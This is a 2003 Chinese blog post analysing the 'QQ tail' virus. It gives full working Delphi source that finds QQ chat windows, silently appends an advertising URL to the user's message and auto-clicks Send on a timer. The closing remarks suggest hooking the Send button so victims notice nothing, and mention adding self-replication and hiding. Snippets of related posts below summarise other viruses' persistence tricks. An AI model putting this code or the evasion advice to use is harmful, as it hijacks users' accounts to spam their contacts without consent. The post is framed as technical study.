QQ尾巴病毒的发送原理分析

原创 2003年10月27日 02:09:00

QQ尾巴病毒的发送原理分析

 

近来QQ尾巴病毒大肆发作,我也是经常收到网友们发到来的带尾巴的消息,于是,好奇心一来,我也来研究研究此病毒的发作原理。首先,我不知道QQ尾巴病毒真正的原理,我只是猜测并且自己写了一个类似的程序来实现它。

 

QQ尾巴的发作情况:当用户打开一个QQ消息发送窗口时,病毒会自动往消息文本框里输入文本,然后不等用户反应过来就发出去了。

 

程序实现:首先要找到QQ消息发送窗口的句柄以及消息文本框与“发送”按钮的窗口句柄。

 

一、             如何找到QQ消息发送窗口句柄:

QQ消息发送窗口有两种,一种是消息模式,在这种情况下,窗口标题含有“发送消息”字样;一种是聊天模式,窗口标题含有“聊天中”字样;

通过枚举窗口就可找到相应的句柄:

// 取得QQ的发送消息窗口

function GetQQWnd: HWND;

var

  hCurrentWindow: HWnd;

  WndText:String;

begin

  hCurrentWindow := GetWindow(Application.Handle, GW_HWNDFIRST);

  while hCurrentWindow <> 0 do

  begin

    WndText:=GetWndText(hCurrentWindow);

    if (Pos('聊天中',WndText)>0) or (Pos('发送消息',WndText)>0) then

    begin

      Result:=hCurrentWindow;

      Exit;

    end;

    hCurrentWindow := GetWindow(hCurrentWindow, GW_HWNDNEXT);

  end;

  Result:=0;

end;

 

二、             如何找到“发送”按钮窗口句柄:

找到了QQ的发送消息窗口后,就可以进一步查找“发送”按钮句柄了,如窗口句柄为qqWnd,则可以用一个循环,查找文本中含有“发送”字样的窗口,经过试验发现,“发送”按钮恰恰是窗体的第一个子窗口,这样,可以用

btnWnd:=GetDlgItem(qqWnd,1);  // 发送按钮

来获得“发送”按钮的句柄。

 

三、             如何找到消息文本框窗口句柄:

消息文本框并不好找,不过你可以先在消息文本框中输入几个字母,如“abcd”,这样我们就可以用上述方法来查找了,不过通过实验后,发现消息文本框并不是QQ窗口的直接子窗口,而是其中个子窗口的子窗口,通过实验,可以用

txtWnd:=GetWindow(GetDlgItem(qqWnd,0),GW_CHILD);  // 文本框

来获得。

 

四、             如何获得原消息文本框的文本:

要获取原消息文本框的文本,只需要一个API函数就行了,如下:

// 获得窗口文本

function GetWndText(hWnd: HWND): String;

Var

  Ret:LongInt;

  mText:PChar;

  Buf:Integer;

begin

  Ret:=SendMessage(hWnd,WM_GETTEXTLENGTH,0,0)+1;

  GetMem(mText,Ret);

  try

    Buf:=LongInt(mText);

    SendMessage(hWnd,WM_GETTEXT,Ret,Buf);

    Result:=StrPas(mText);

  finally

    FreeMem(mText,Ret);

  end;

end;

 

五、             如何住原消息文本框里追加文本:

与取文本相反

// 发送文本到窗口

procedure SetWndText(hWnd: HWND; Text: String);

Var

  Ret:LongInt;

  mText:PChar;

  Buf:Integer;

begin

  GetMem(mText,Length(Text));

  StrCopy(mText,PChar(Text));

  try

    Buf:=LongInt(mText);

    SendMessage(hWnd,WM_SETTEXT,0,Buf);

  finally

    FreeMem(mText,Length(Text));

  end;

end;

六、             如果让“发送”按钮自动点击:

一切都准备好了,现在要开始发送了,为了让消息自动发送,我们可以模拟“发送”按钮被点击了。

  SendMessage(btnWnd,WM_LBUTTONDOWN,MK_LBUTTON,0);

  SendMessage(btnWnd,WM_LBUTTONUP,0,0);

通过模拟一个鼠标在“开始”按钮上的按下与放开,就实现了点击发送功能。

 

七、             其它的定时功能比较简单,在此也不多说了。

 

八、             全部源代码如下:

unit Unit1;

 

interface

 

uses

  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

  Dialogs, StdCtrls, ExtCtrls;

 

type

  TForm1 = class(TForm)

    Timer1: TTimer;

    Button1: TButton;

    Edit1: TEdit;

    Label1: TLabel;

    Button2: TButton;

    procedure Timer1Timer(Sender: TObject);

    procedure Button1Click(Sender: TObject);

    procedure Button2Click(Sender: TObject);

  private

    { Private declarations }

  public

    { Public declarations }

  end;

 

var

  Form1: TForm1;

 

implementation

 

{$R *.dfm}

 

// 获得窗口文本

function GetWndText(hWnd: HWND): String;

Var

  Ret:LongInt;

  mText:PChar;

  Buf:Integer;

begin

  Ret:=SendMessage(hWnd,WM_GETTEXTLENGTH,0,0)+1;

  GetMem(mText,Ret);

  try

    Buf:=LongInt(mText);

    SendMessage(hWnd,WM_GETTEXT,Ret,Buf);

    Result:=StrPas(mText);

  finally

    FreeMem(mText,Ret);

  end;

end;

// 发送文本到窗口

procedure SetWndText(hWnd: HWND; Text: String);

Var

  Ret:LongInt;

  mText:PChar;

  Buf:Integer;

begin

  GetMem(mText,Length(Text));

  StrCopy(mText,PChar(Text));

  try

    Buf:=LongInt(mText);

    SendMessage(hWnd,WM_SETTEXT,0,Buf);

  finally

    FreeMem(mText,Length(Text));

  end;

end;

// 取得QQ的发送消息窗口

function GetQQWnd: HWND;

var

  hCurrentWindow: HWnd;

  WndText:String;

begin

  hCurrentWindow := GetWindow(Application.Handle, GW_HWNDFIRST);

  while hCurrentWindow <> 0 do

  begin

    WndText:=GetWndText(hCurrentWindow);

    if (Pos('聊天中',WndText)>0) or (Pos('发送消息',WndText)>0) then

    begin

      Result:=hCurrentWindow;

      Exit;

    end;

    hCurrentWindow := GetWindow(hCurrentWindow, GW_HWNDNEXT);

  end;

  Result:=0;

end;

// 定时处理

procedure TimerProc;

var

  qqWnd,txtWnd,btnWnd:HWND;

  Msg:String;

begin

  qqWnd:=GetQQWnd;

  if qqWnd=0 then Exit;

 

  btnWnd:=GetDlgItem(qqWnd,1);  // 发送按钮

  txtWnd:=GetWindow(GetDlgItem(qqWnd,0),GW_CHILD);  // 文本框

  if (btnWnd=0) or (txtWnd=0) then Exit;

  Msg:=GetWndText(txtWnd);

  Msg:=Msg+#13+#10+'欢迎光临绿荫网络http://www.lvyin.net';

  SetWndText(txtWnd,Msg);

  SendMessage(btnWnd,WM_LBUTTONDOWN,MK_LBUTTON,0);

  SendMessage(btnWnd,WM_LBUTTONUP,0,0);

end;

 

procedure TForm1.Timer1Timer(Sender: TObject);

begin

  TimerProc;

end;

 

procedure TForm1.Button1Click(Sender: TObject);

begin

  Timer1.Enabled :=not Timer1.Enabled;

  if Timer1.Enabled then

    Button1.Caption :=' '

  else

    Button1.Caption :=' ';

end;

 

procedure TForm1.Button2Click(Sender: TObject);

begin

  Timer1.Interval :=StrToInt(Edit1.Text);

end;

 

end.

 

       总结:上面只讲述了QQ消息自动发送的主要功能,这或许跟QQ尾巴的原理不同(我也不知道),但总体上应该差不多。如果要做到让用户感觉不到异常,就要改一下了,不要自动发送,而是在当用户点击了“发送”按钮后再把文本加进去。这样的话可是拦截“发送”按钮的点击消息,然后再用上述方法把文本加进去,然后把消息交还原程序处理。至于如何让它成为病毒,会自我复制,自我隐藏等功能,那又是另外一个话题了,在此就不多讲了。

 

       :此文只作技术研讨之用,希望大家不要拿它来捣蛋,如有产生后果,本人概不负责。欢迎大家来信探讨。

 

       作者:吴创豪

       Email:wuqiu@regalcyber.com

       HomePage:http://www.chuanghao.com

 

QQ尾巴病毒的发送原理分析

  • zgqtxwd
  • zgqtxwd
  • 2008年05月01日 00:27
  • 120

QQ尾巴制作原理

QQ尾巴制作原理  2005年3月28日00:16星期一  [常用工具]   这几年里,QQ尾巴病毒可以算是风光了一阵子。它利用IE的邮件头漏洞在QQ上疯...
  • qsd007
  • qsd007
  • 2007年03月19日 17:19
  • 1244

初学API,Sunday的一个QQ尾巴病毒

Sunday的一个QQ尾巴病毒运行它时1.它会使自身在桌面和任务栏上隐藏;2.在注册表的RUN项建一个子键使之能开机自动运行;3.复制自己到系统目录下,并隐藏;4.监视桌面前台窗口,并捕捉QQ聊天窗口...
  • lisnake
  • lisnake
  • 2005年08月11日 20:18
  • 864

QQ尾巴病毒的Visual C++实现探讨(转)

作者: yes555  (请看清楚,不是我)  自2003起,QQ尾巴病毒可以算是风光了一阵子。它利用IE的邮件头漏洞在QQ上疯狂传播。中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话...
  • kgdiwss
  • kgdiwss
  • 2005年07月28日 00:06
  • 1130

勒索病毒工作原理

前些天借着Windows上的”永恒之蓝“漏洞,本来几乎快销声匿迹的加密勒索病毒又重新回到了公众视线里。由于电信等网络运营商早就封堵了可能导致中毒的445端口,所以外网影响不大,但是教育网里的同学就遭殃...
  • qmickecs
  • qmickecs
  • 2017年05月22日 13:48
  • 3641

Win32 PE病毒原理分析

by guojpeng/CVC.GB 在绝大多数病毒爱好者眼中,真正的病毒技术在Win32 PE病毒中才会得到真正的体现(令病毒极度疯狂的DOS时代已经过去)。并且要掌握病毒技术的精髓,学会Wi...
  • B_H_L
  • B_H_L
  • 2014年06月13日 17:51
  • 3025

QQ尾巴病毒

我在网上搜索相应的解决方法,终于找到了,方法如下:1、打开任务管理器进程(按ctrl+shift+esc),结束gedit.exe进程和msscript.exe进程. 2、用查找删除以下文件:c:/w...
  • bill1315
  • bill1315
  • 2007年01月23日 10:37
  • 512

BZOJ 3307: 雨天的尾巴

被虐地不要不要的 我还是太垃圾了
  • cgh_Andy
  • cgh_Andy
  • 2017年03月31日 11:41
  • 263

QQ尾巴病毒 VC

前一段时间在病毒源代码的博客上看到了QQ尾巴病毒的原理,他的博客确实不错,有很多这方面的东西。不过他是用VB或者DELPHI写的(区分不清,呵呵),而且感觉他写得有点乱,可能我习惯看C格式的代码吧。最...
  • magicyang87
  • magicyang87
  • 2008年01月28日 02:00
  • 739

QQ尾巴病毒的发送原理分析http://www.bitscn.com/hack/virus/200607/46309.html

近来QQ尾巴病毒大肆发作,我也是经常收到网友们发到来的带尾巴的消息,于是,好奇心一来,我也来研究研究此病毒的发作原理。首先,我不知道QQ尾巴病毒真正的原...
  • chief1985
  • chief1985
  • 2007年10月31日 22:01
  • 957
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:QQ尾巴病毒的发送原理分析
举报原因:
原因补充:

(最多只允许输入30个字)